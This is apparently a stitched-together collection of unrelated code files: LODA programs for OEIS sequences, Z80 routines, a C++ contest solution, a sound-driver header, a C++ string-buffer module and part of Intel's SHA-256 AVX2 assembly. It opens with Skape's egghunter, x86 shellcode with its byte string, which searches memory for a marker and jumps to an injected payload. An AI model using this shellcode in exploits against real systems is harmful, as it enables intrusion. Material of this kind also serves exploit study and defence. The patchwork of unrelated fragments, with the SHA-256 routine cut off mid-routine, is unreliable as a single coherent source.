; Skape's egghunter: access(2) ; Shellcode generated: "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2" ; global _start: section .text _start: mov ebx, 0x50905090 ; Store EGG in ebx xor ecx, ecx ; Zero out ECX mul ecx ; Zero out EAX and EDX IncPage: ; JMP to increment page number or dx, 0xfff ; Align page address IncAddr: ; JMP to increment address inc edx ; Go to next address pushad ; Push general registers onto stack lea ebx, [edx+4] ; [edx+4] so we can compare [edx] and [edx+4] at the same time mov al, 0x21 ; syscall for access() int 0x80 ; call access() to check memory location [EBX] cmp al, 0xf2 ; Did it return EFAULT? popad ; Restore registers jz IncPage ; access() returned EFAULT, skip page cmp [edx], ebx ; initialized memory, check if EGG is in [edx] jnz IncAddr ; EGG isn't in [edx], visit next address cmp [edx+4], ebx ; EGG is found in [edx], is it in [edx+4] too? jne IncAddr ; Boohoo! It wasn't. Visit next address jmp edx ; [edx][edx+4] contain EGGEGG, we found our shellcode! Execute meaningless EGGEGG instructions then our payload
; A188082: [nr+kr]-[nr]-[kr], where r=sqrt(3), k=1, [ ]=floor. ; 1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0 mov $2,2 mov $7,$0 lpb $2,1 mov $0,$7 sub $2,1 add $0,$2 sub $0,1 mov $3,$0 add $3,1 mov $6,2 mul $6,$0 mov $0,$3 pow $0,2 mov $4,$6 add $4,2 trn $0,$4 lpb $0,1 sub $0,$4 sub $0,$4 trn $0,1 sub $4,1 lpe mov $5,$2 mov $8,$4 add $8,$4 lpb $5,1 mov $1,$8 sub $5,1 lpe lpe lpb $7,1 sub $1,$8 mov $7,0 lpe sub $1,2 div $1,2
; A099267: Numbers generated by the golden sieve. ; Submitted by Jon Maiga ; 2,3,5,6,8,10,11,13,14,16,18,19,21,23,24,26,27,29,31,32,34,35,37,39,40,42,44,45,47,48,50,52,53,55,57,58,60,61,63,65,66,68,69,71,73,74,76,78,79,81,82,84,86,87,89,90,92,94,95,97,99,100,102,103,105,107,108,110,112,113,115,116,118,120,121,123,124,126,128,129,131,133,134,136,137,139,141,142,144,146,147,149,150,152,154,155,157,158,160,162 mov $1,$0 trn $0,1 seq $0,19446 ; a(n) = ceiling(n/tau), where tau = (1+sqrt(5))/2. add $0,$1 add $0,1
SECTION code_fp_math48 PUBLIC mm48__subac mm48__subac: ;AC = AC - AC' ;Traek AC' fra AC. ld a,h exx sub h mm48__sac1: exx ld h,a ld a,e exx sbc a,e exx ld e,a ld a,d exx sbc a,d exx ld d,a ld a,c exx sbc a,c exx ld c,a ld a,b exx sbc a,b exx ld b,a ret
#include<bits/stdc++.h> #define N 1005 #define M 8 using namespace std; #define rep(i,a,b) for(int i=(a); i<(b); ++i) int k, n; int a, b; bool vis[N][N]; int dir[M][2] = {1,0, 1,1, 0,1, -1,1, -1,0, -1,-1, 0,-1, 1,-1}; void color(int col, int row) { int x, y; rep(i,0,n) { rep(j,0,M) { x = col + i*dir[j][0]; y = row + i*dir[j][1]; if(x>0 && x<=n && y>0 && y<=n) vis[y][x] = 1; } } //printf("\n"); //rep(i,1,n+1) rep(j,1,n+1) printf("%d%c", vis[i][j], (j==n ? '\n' : ' ')); } int main() { scanf("%d", &k); bool f; while(k--) { f = 1; memset(vis, 0, sizeof(vis)); scanf("%d", &n); scanf("%d", &a); color(1, a); rep(i,2,n+1) { scanf("%d", &b); if(vis[b][i]) f = 0; else if(f) color(i, b); a = b; } printf("%s\n", (f ? "YES" : "NO")); } return 0; }
SECTION code_fp_math48 PUBLIC derror_edom_zc EXTERN am48_derror_edom_zc defc derror_edom_zc = am48_derror_edom_zc
; size_t w_vector_push_back(w_vector_t *v, void *item) SECTION code_adt_w_vector PUBLIC w_vector_push_back_callee EXTERN w_vector_append_callee defc w_vector_push_back_callee = w_vector_append_callee INCLUDE "adt/w_vector/z80/asm_w_vector_push_back.asm"
Sound_86_Header: smpsHeaderStartSong 3 smpsHeaderVoice Sound_86_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cFM5, Sound_86_FM5, $D0, $06 ; FM5 Data Sound_86_FM5: smpsSetvoice $00 smpsModSet $01, $01, $09, $F6 dc.b nC0, $37 smpsStop Sound_86_Voices: ; Voice $00 ; $E4 ; $1F, $31, $16, $30, $14, $1A, $1F, $1F, $00, $01, $09, $02 ; $01, $05, $03, $05, $14, $0F, $0F, $0F, $0D, $8C, $03, $80 smpsVcAlgorithm $04 smpsVcFeedback $04 smpsVcUnusedBits $03 smpsVcDetune $03, $01, $03, $01 smpsVcCoarseFreq $00, $06, $01, $0F smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1A, $14 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $02, $09, $01, $00 smpsVcDecayRate2 $05, $03, $05, $01 smpsVcDecayLevel $00, $00, $00, $01 smpsVcReleaseRate $0F, $0F, $0F, $04 smpsVcTotalLevel $00, $03, $0C, $0D
//! //! Copyright (c) 2015, The casual project //! //! This software is licensed under the MIT license, https://opensource.org/licenses/MIT //! #include "casual/buffer/string.h" #include "common/buffer/pool.h" #include "common/buffer/type.h" #include "common/log.h" #include "common/memory.h" #include "common/exception/handle.h" #include "common/code/raise.h" #include "common/code/xatmi.h" #include <cstring> namespace casual { namespace buffer { namespace string { namespace { /* struct trace : common::trace::basic::Scope { template<decltype(sizeof("")) size> explicit trace( const char (&information)[size]) : Scope( information, common::log::internal::buffer) {} }; */ using size_type = platform::size::type; using data_type = platform::buffer::raw::type; namespace local { auto validate( const common::buffer::Payload& payload) { const auto size = payload.memory.size(); const auto used = std::strlen( payload.memory.data()) + 1; // We do need to check that it is a real null-terminated // string within allocated area if( used > size) common::code::raise::error( common::code::xatmi::argument, "string is longer than allocated size"); return used; } } struct Buffer : common::buffer::Buffer { using common::buffer::Buffer::Buffer; //! Implement Buffer::transport platform::binary::size::type transport( const platform::binary::size::type user_size) const { // Just ignore user-size all together // // ... but we do need to validate it return local::validate( payload); } }; class Allocator : public common::buffer::pool::basic_pool<Buffer> { public: using types_type = common::buffer::pool::default_pool::types_type; static const types_type& types() { // The types this pool can manage static const types_type result{ common::buffer::type::combine( CASUAL_STRING)}; return result; } platform::buffer::raw::type allocate( const std::string& type, const platform::binary::size::type size) { auto& buffer = m_pool.emplace_back( type, size ? size : 1); buffer.payload.memory.front() = '\0'; return buffer.payload.memory.data(); } platform::buffer::raw::type reallocate( const platform::buffer::raw::immutable::type handle, const platform::binary::size::type size) { const auto result = find( handle); result->payload.memory.resize( size ? size : 1); result->payload.memory.back() = '\0'; // Allow user to reduce allocation result->payload.memory.shrink_to_fit(); return result->payload.memory.data(); } platform::buffer::raw::type insert( common::buffer::Payload payload) { // Validate it before we move it local::validate( payload); return m_pool.emplace_back( std::move( payload)).payload.memory.data(); } }; } // <unnamed> } // string } // buffer // // Register and define the type that can be used to get the custom pool // template class common::buffer::pool::Registration< buffer::string::Allocator>; namespace buffer { namespace string { using pool_type = common::buffer::pool::Registration< Allocator>; namespace { int error() noexcept { try { throw; } catch( const std::out_of_range&) { return CASUAL_STRING_OUT_OF_BOUNDS; } catch( const std::bad_alloc&) { return CASUAL_STRING_OUT_OF_MEMORY; } catch( ...) { if( common::exception::capture().code() == common::code::xatmi::argument) return CASUAL_STRING_INVALID_HANDLE; return CASUAL_STRING_INTERNAL_FAILURE; } } int explore( const char* const handle, size_type* const size, size_type* const used) { //const trace trace( "string::explore"); try { const auto& buffer = pool_type::pool.get( handle); if( size) *size = buffer.payload.memory.size(); if( used) *used = std::strlen( buffer.payload.memory.data()) + 1; } catch( ...) { return error(); } return CASUAL_STRING_SUCCESS; } int set( char** const handle, const char* const value) { //const trace trace( "string::set"); try { auto& buffer = pool_type::pool.get( *handle); const auto count = std::strlen( value) + 1; *handle = casual::common::algorithm::copy( casual::common::range::make( value, count), buffer.payload.memory).data(); } catch( ...) { return error(); } return CASUAL_STRING_SUCCESS; } int get( const char* const handle, const char** value) { //const trace trace( "string::get"); try { const auto& buffer = pool_type::pool.get( handle); const auto used = std::strlen( buffer.payload.memory.data()) + 1; const auto size = buffer.payload.memory.size(); if( used > size) { // We need to report this buffer.payload.memory.at( used); } if( value) *value = buffer.payload.memory.data(); } catch( ...) { return error(); } return CASUAL_STRING_SUCCESS; } } // <unnamed> } // string } // buffer } // casual const char* casual_string_description( const int code) { switch( code) { case CASUAL_STRING_SUCCESS: return "Success"; case CASUAL_STRING_INVALID_HANDLE: return "Invalid handle"; case CASUAL_STRING_INVALID_ARGUMENT: return "Invalid argument"; case CASUAL_STRING_OUT_OF_MEMORY: return "Out of memory"; case CASUAL_STRING_OUT_OF_BOUNDS: return "Out of bounds"; case CASUAL_STRING_INTERNAL_FAILURE: return "Internal failure"; default: return "Unknown code"; } } int casual_string_explore_buffer( const char* const handle, long* const size, long* const used) { return casual::buffer::string::explore( handle, size, used); } int casual_string_set( char** const handle, const char* const value) { return casual::buffer::string::set( handle, value); } int casual_string_get( const char* handle, const char** value) { return casual::buffer::string::get( handle, value); }
; A165838: Totally multiplicative sequence with a(p) = 17. ; 1,17,17,289,17,289,17,4913,289,289,17,4913,17,289,289,83521,17,4913,17,4913,289,289,17,83521,289,289,4913,4913,17,4913,17,1419857,289,289,289,83521,17,289,289,83521,17,4913,17,4913,4913,289,17,1419857,289,4913,289,4913,17,83521,289,83521,289,289,17,83521,17,289,4913,24137569,289,4913,17,4913,289,4913,17,1419857,17,289,4913,4913,289,4913,17,1419857,83521,289,17,83521,289,289,289,83521,17,83521,289,4913,289,289,289,24137569,17,4913,4913,83521 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $1,17 pow $1,$0 mov $0,$1
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 SHA256_YMM_K: .long 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 .long 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5 .long 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3 .long 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174 .long 0xe49b69c1, 0xefbe4786, 0xfc19dc6, 0x240ca1cc, 0xe49b69c1, 0xefbe4786, 0xfc19dc6, 0x240ca1cc .long 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da .long 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7 .long 0xc6e00bf3, 0xd5a79147, 0x6ca6351, 0x14292967, 0xc6e00bf3, 0xd5a79147, 0x6ca6351, 0x14292967 .long 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13 .long 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85 .long 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3 .long 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070 .long 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5 .long 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3 .long 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208 .long 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 SHA256_YMM_BF: .long 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f, 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f SHA256_DCzz: .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0,1,2,3, 8,9,10,11 .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0,1,2,3, 8,9,10,11 SHA256_zzBA: .byte 0,1,2,3, 8,9,10,11, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff .byte 0,1,2,3, 8,9,10,11, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff .p2align 6, 0x90 .globl n0_UpdateSHA256 .type n0_UpdateSHA256, @function n0_UpdateSHA256: push %rbx push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 sub $(544), %rsp mov %rsp, %r15 and $(-64), %rsp movslq %edx, %r14 movq %rdi, (8)(%rsp) movq %r14, (16)(%rsp) movq %r15, (24)(%rsp) lea (32)(%rsp), %rsp movl (%rdi), %eax movl (4)(%rdi), %ebx movl (8)(%rdi), %ecx movl (12)(%rdi), %edx movl (16)(%rdi), %r8d movl (20)(%rdi), %r9d movl (24)(%rdi), %r10d movl (28)(%rdi), %r11d vmovdqa SHA256_YMM_BF(%rip), %ymm10 vmovdqa SHA256_zzBA(%rip), %ymm8 vmovdqa SHA256_DCzz(%rip), %ymm9 .p2align 6, 0x90 .Lsha256_block2_loopgas_1: lea (64)(%rsi), %r12 cmp $(64), %r14 cmovbe %rsi, %r12 lea SHA256_YMM_K(%rip), %rbp vmovdqu (%rsi), %xmm0 vmovdqu (16)(%rsi), %xmm1 vmovdqu (32)(%rsi), %xmm2 vmovdqu (48)(%rsi), %xmm3 vinserti128 $(1), (%r12), %ymm0, %ymm0 vinserti128 $(1), (16)(%r12), %ymm1, %ymm1 vinserti128 $(1), (32)(%r12), %ymm2, %ymm2 vinserti128 $(1), (48)(%r12), %ymm3, %ymm3 vpshufb %ymm10, %ymm0, %ymm0 vpshufb %ymm10, %ymm1, %ymm1 vpshufb %ymm10, %ymm2, %ymm2 vpshufb %ymm10, %ymm3, %ymm3 vpaddd (%rbp), %ymm0, %ymm4 vpaddd (32)(%rbp), %ymm1, %ymm5 vpaddd (64)(%rbp), %ymm2, %ymm6 vpaddd (96)(%rbp), %ymm3, %ymm7 add $(128), %rbp vmovdqa %ymm4, (%rsp) vmovdqa %ymm5, (32)(%rsp) vmovdqa %ymm6, (64)(%rsp) vmovdqa %ymm7, (96)(%rsp) mov %ebx, %edi xor %r14d, %r14d mov %r9d, %r12d xor %ecx, %edi .p2align 6, 0x90 .Lblock1_shed_procgas_1: vpalignr $(4), %ymm0, %ymm1, %ymm6 addl (%rsp), %r11d and %r8d, %r12d rorx $(25), %r8d, %r13d vpalignr $(4), %ymm2, %ymm3, %ymm5 rorx $(11), %r8d, %r15d add %r14d, %eax add %r12d, %r11d vpsrld $(7), %ymm6, %ymm4 andn %r10d, %r8d, %r12d xor %r15d, %r13d rorx $(6), %r8d, %r14d vpaddd %ymm5, %ymm0, %ymm0 add %r12d, %r11d xor %r14d, %r13d mov %eax, %r15d vpsrld $(3), %ymm6, %ymm5 rorx $(22), %eax, %r12d add %r13d, %r11d xor %ebx, %r15d vpslld $(14), %ymm6, %ymm7 rorx $(13), %eax, %r14d rorx $(2), %eax, %r13d add %r11d, %edx vpxor %ymm4, %ymm5, %ymm6 and %r15d, %edi xor %r12d, %r14d xor %ebx, %edi vpshufd $(250), %ymm3, %ymm5 xor %r13d, %r14d add %edi, %r11d mov %r8d, %r12d vpsrld $(11), %ymm4, %ymm4 addl (4)(%rsp), %r10d and %edx, %r12d rorx $(25), %edx, %r13d vpxor %ymm7, %ymm6, %ymm6 rorx $(11), %edx, %edi add %r14d, %r11d add %r12d, %r10d vpslld $(11), %ymm7, %ymm7 andn %r9d, %edx, %r12d xor %edi, %r13d rorx $(6), %edx, %r14d vpxor %ymm4, %ymm6, %ymm6 add %r12d, %r10d xor %r14d, %r13d mov %r11d, %edi vpsrld $(10), %ymm5, %ymm4 rorx $(22), %r11d, %r12d add %r13d, %r10d xor %eax, %edi vpxor %ymm7, %ymm6, %ymm6 rorx $(13), %r11d, %r14d rorx $(2), %r11d, %r13d add %r10d, %ecx vpsrlq $(17), %ymm5, %ymm5 and %edi, %r15d xor %r12d, %r14d xor %eax, %r15d vpaddd %ymm6, %ymm0, %ymm0 xor %r13d, %r14d add %r15d, %r10d mov %edx, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (8)(%rsp), %r9d and %ecx, %r12d rorx $(25), %ecx, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %ecx, %r15d add %r14d, %r10d add %r12d, %r9d vpxor %ymm5, %ymm4, %ymm4 andn %r8d, %ecx, %r12d xor %r15d, %r13d rorx $(6), %ecx, %r14d vpshufb %ymm8, %ymm4, %ymm4 add %r12d, %r9d xor %r14d, %r13d mov %r10d, %r15d vpaddd %ymm4, %ymm0, %ymm0 rorx $(22), %r10d, %r12d add %r13d, %r9d xor %r11d, %r15d vpshufd $(80), %ymm0, %ymm5 rorx $(13), %r10d, %r14d rorx $(2), %r10d, %r13d add %r9d, %ebx vpsrld $(10), %ymm5, %ymm4 and %r15d, %edi xor %r12d, %r14d xor %r11d, %edi vpsrlq $(17), %ymm5, %ymm5 xor %r13d, %r14d add %edi, %r9d mov %ecx, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (12)(%rsp), %r8d and %ebx, %r12d rorx $(25), %ebx, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %ebx, %edi add %r14d, %r9d add %r12d, %r8d vpxor %ymm5, %ymm4, %ymm4 andn %edx, %ebx, %r12d xor %edi, %r13d rorx $(6), %ebx, %r14d vpshufb %ymm9, %ymm4, %ymm4 add %r12d, %r8d xor %r14d, %r13d mov %r9d, %edi vpaddd %ymm4, %ymm0, %ymm0 rorx $(22), %r9d, %r12d add %r13d, %r8d xor %r10d, %edi vpaddd (%rbp), %ymm0, %ymm4 rorx $(13), %r9d, %r14d rorx $(2), %r9d, %r13d add %r8d, %eax and %edi, %r15d xor %r12d, %r14d xor %r10d, %r15d vmovdqa %ymm4, (128)(%rsp) xor %r13d, %r14d add %r15d, %r8d mov %ebx, %r12d vpalignr $(4), %ymm1, %ymm2, %ymm6 addl (32)(%rsp), %edx and %eax, %r12d rorx $(25), %eax, %r13d vpalignr $(4), %ymm3, %ymm0, %ymm5 rorx $(11), %eax, %r15d add %r14d, %r8d add %r12d, %edx vpsrld $(7), %ymm6, %ymm4 andn %ecx, %eax, %r12d xor %r15d, %r13d rorx $(6), %eax, %r14d vpaddd %ymm5, %ymm1, %ymm1 add %r12d, %edx xor %r14d, %r13d mov %r8d, %r15d vpsrld $(3), %ymm6, %ymm5 rorx $(22), %r8d, %r12d add %r13d, %edx xor %r9d, %r15d vpslld $(14), %ymm6, %ymm7 rorx $(13), %r8d, %r14d rorx $(2), %r8d, %r13d add %edx, %r11d vpxor %ymm4, %ymm5, %ymm6 and %r15d, %edi xor %r12d, %r14d xor %r9d, %edi vpshufd $(250), %ymm0, %ymm5 xor %r13d, %r14d add %edi, %edx mov %eax, %r12d vpsrld $(11), %ymm4, %ymm4 addl (36)(%rsp), %ecx and %r11d, %r12d rorx $(25), %r11d, %r13d vpxor %ymm7, %ymm6, %ymm6 rorx $(11), %r11d, %edi add %r14d, %edx add %r12d, %ecx vpslld $(11), %ymm7, %ymm7 andn %ebx, %r11d, %r12d xor %edi, %r13d rorx $(6), %r11d, %r14d vpxor %ymm4, %ymm6, %ymm6 add %r12d, %ecx xor %r14d, %r13d mov %edx, %edi vpsrld $(10), %ymm5, %ymm4 rorx $(22), %edx, %r12d add %r13d, %ecx xor %r8d, %edi vpxor %ymm7, %ymm6, %ymm6 rorx $(13), %edx, %r14d rorx $(2), %edx, %r13d add %ecx, %r10d vpsrlq $(17), %ymm5, %ymm5 and %edi, %r15d xor %r12d, %r14d xor %r8d, %r15d vpaddd %ymm6, %ymm1, %ymm1 xor %r13d, %r14d add %r15d, %ecx mov %r11d, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (40)(%rsp), %ebx and %r10d, %r12d rorx $(25), %r10d, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %r10d, %r15d add %r14d, %ecx add %r12d, %ebx vpxor %ymm5, %ymm4, %ymm4 andn %eax, %r10d, %r12d xor %r15d, %r13d rorx $(6), %r10d, %r14d vpshufb %ymm8, %ymm4, %ymm4 add %r12d, %ebx xor %r14d, %r13d mov %ecx, %r15d vpaddd %ymm4, %ymm1, %ymm1 rorx $(22), %ecx, %r12d add %r13d, %ebx xor %edx, %r15d vpshufd $(80), %ymm1, %ymm5 rorx $(13), %ecx, %r14d rorx $(2), %ecx, %r13d add %ebx, %r9d vpsrld $(10), %ymm5, %ymm4 and %r15d, %edi xor %r12d, %r14d xor %edx, %edi vpsrlq $(17), %ymm5, %ymm5 xor %r13d, %r14d add %edi, %ebx mov %r10d, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (44)(%rsp), %eax and %r9d, %r12d rorx $(25), %r9d, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %r9d, %edi add %r14d, %ebx add %r12d, %eax vpxor %ymm5, %ymm4, %ymm4 andn %r11d, %r9d, %r12d xor %edi, %r13d rorx $(6), %r9d, %r14d vpshufb %ymm9, %ymm4, %ymm4 add %r12d, %eax xor %r14d, %r13d mov %ebx, %edi vpaddd %ymm4, %ymm1, %ymm1 rorx $(22), %ebx, %r12d add %r13d, %eax xor %ecx, %edi vpaddd (32)(%rbp), %ymm1, %ymm4 rorx $(13), %ebx, %r14d rorx $(2), %ebx, %r13d add %eax, %r8d and %edi, %r15d xor %r12d, %r14d xor %ecx, %r15d vmovdqa %ymm4, (160)(%rsp) xor %r13d, %r14d add %r15d, %eax mov %r9d, %r12d vpalignr $(4), %ymm2, %ymm3, %ymm6 addl (64)(%rsp), %r11d and %r8d, %r12d rorx $(25), %r8d, %r13d vpalignr $(4), %ymm0, %ymm1, %ymm5 rorx $(11), %r8d, %r15d add %r14d, %eax add %r12d, %r11d vpsrld $(7), %ymm6, %ymm4 andn %r10d, %r8d, %r12d xor %r15d, %r13d rorx $(6), %r8d, %r14d vpaddd %ymm5, %ymm2, %ymm2 add %r12d, %r11d xor %r14d, %r13d mov %eax, %r15d vpsrld $(3), %ymm6, %ymm5 rorx $(22), %eax, %r12d add %r13d, %r11d xor %ebx, %r15d vpslld $(14), %ymm6, %ymm7 rorx $(13), %eax, %r14d rorx $(2), %eax, %r13d add %r11d, %edx vpxor %ymm4, %ymm5, %ymm6 and %r15d, %edi xor %r12d, %r14d xor %ebx, %edi vpshufd $(250), %ymm1, %ymm5 xor %r13d, %r14d add %edi, %r11d mov %r8d, %r12d vpsrld $(11), %ymm4, %ymm4 addl (68)(%rsp), %r10d and %edx, %r12d rorx $(25), %edx, %r13d vpxor %ymm7, %ymm6, %ymm6 rorx $(11), %edx, %edi add %r14d, %r11d add %r12d, %r10d vpslld $(11), %ymm7, %ymm7 andn %r9d, %edx, %r12d xor %edi, %r13d rorx $(6), %edx, %r14d vpxor %ymm4, %ymm6, %ymm6 add %r12d, %r10d xor %r14d, %r13d mov %r11d, %edi vpsrld $(10), %ymm5, %ymm4 rorx $(22), %r11d, %r12d add %r13d, %r10d xor %eax, %edi vpxor %ymm7, %ymm6, %ymm6 rorx $(13), %r11d, %r14d rorx $(2), %r11d, %r13d add %r10d, %ecx vpsrlq $(17), %ymm5, %ymm5 and %edi, %r15d xor %r12d, %r14d xor %eax, %r15d vpaddd %ymm6, %ymm2, %ymm2 xor %r13d, %r14d add %r15d, %r10d mov %edx, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (72)(%rsp), %r9d and %ecx, %r12d rorx $(25), %ecx, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %ecx, %r15d add %r14d, %r10d add %r12d, %r9d vpxor %ymm5, %ymm4, %ymm4 andn %r8d, %ecx, %r12d xor %r15d, %r13d rorx $(6), %ecx, %r14d vpshufb %ymm8, %ymm4, %ymm4 add %r12d, %r9d xor %r14d, %r13d mov %r10d, %r15d vpaddd %ymm4, %ymm2, %ymm2 rorx $(22), %r10d, %r12d add %r13d, %r9d xor %r11d, %r15d vpshufd $(80), %ymm2, %ymm5 rorx $(13), %r10d, %r14d rorx $(2), %r10d, %r13d add %r9d, %ebx vpsrld $(10), %ymm5, %ymm4 and %r15d, %edi xor %r12d, %r14d xor %r11d, %edi vpsrlq $(17), %ymm5, %ymm5 xor %r13d, %r14d add %edi, %r9d mov %ecx, %r12d vpxor %ymm5, %ymm4, %ymm4 addl (76)(%rsp), %r8d and %ebx, %r12d rorx $(25), %ebx, %r13d vpsrlq $(2), %ymm5, %ymm5 rorx $(11), %ebx, %edi add %r14d, %r9d add %r12d, %r8d vpxor %ymm5, %ymm4, %ymm4 andn %edx, %ebx, %r12d xor %edi, %r13d rorx $(6), %ebx, %r14d vpshufb %ymm9, %ymm4, %ymm4 add %r12d, %r8d xor %r14d, %r13d mov %r9d, %edi vpaddd %ymm4, %ymm2, %ymm2 rorx $(22), %r9d, %r12d add %r13d, %r8d xor %r10d, %edi vpaddd (64)(%rbp), %ymm2, %ymm4 rorx $(13), %r9d, %r14d rorx $(2), %r9d, %r13d add %r8d, %eax and %edi, %r15d xor %r12d, %r14d xor %r10d, %r15d vmovdqa %ymm4, (192)(%rsp) xor %r13d, %r14d add %r15d, %r8d mov %ebx, %r12d vpalignr $(4), %ymm3, %ymm0, %ymm6 addl (96)(%rsp), %edx and %eax, %r12d rorx $(25), %eax, %r13d vpalignr $(4), %ymm1, %ymm2, %ymm5 rorx $(11), %eax, %r15d add %r14d, %r8d add %r12d, %edx vpsrld $(7), %ymm6, %ymm4 andn %ecx, %eax, %r12d xor %r15d, %r13d rorx $(6), %eax, %r14d vpaddd %ymm5, %ymm3, %ymm3 add %r12d, %edx xor %r14d, %r13d mov %r8d, %r15d vpsrld $(3), %ymm6, %ymm5 rorx $(22), %r8d, %r12d add %r13d, %edx xor %r9d, %r15d vpslld $(14), %ymm6, %ymm7 rorx $(13), %r8d, %r14d rorx $(2), %r8d, %r13d add %edx, %r11d vpxor %ymm4, %ymm5, %ymm6 and %r15d, %edi xor %r12d, %r14d xor %r9d, %edi vpshufd $(250), %ymm2, %ymm5 xor %r13d, %r14d add %edi, %edx mov %eax, %r12d vpsrld $(11), %ymm4, %ymm4 addl (100)(%rsp), %ecx and %r11d, %r12d rorx $(25), %r11d, %r13d vpxor %ymm7, %ymm6, %ymm6 rorx $(11), %r11d, %edi add %r14d, %edx add %r12d, %ecx vpslld $(11), %ymm7, %ymm7 andn %ebx, %r11d, %r12d xor %edi, %r13d rorx $(6), %r11d, %r14d vpxor %ymm4, %ymm6, %ymm6 add %r12d, %ecx xor %r14d, %r13d mov %edx, %edi vpsrld $(10), %ymm5, %ymm4 rorx $(22), %edx, %r12d add %r13d, %ecx xor %r8d, %edi vpxor %ymm7, %ymm6, %ymm6 rorx $(13), %edx, %r14d 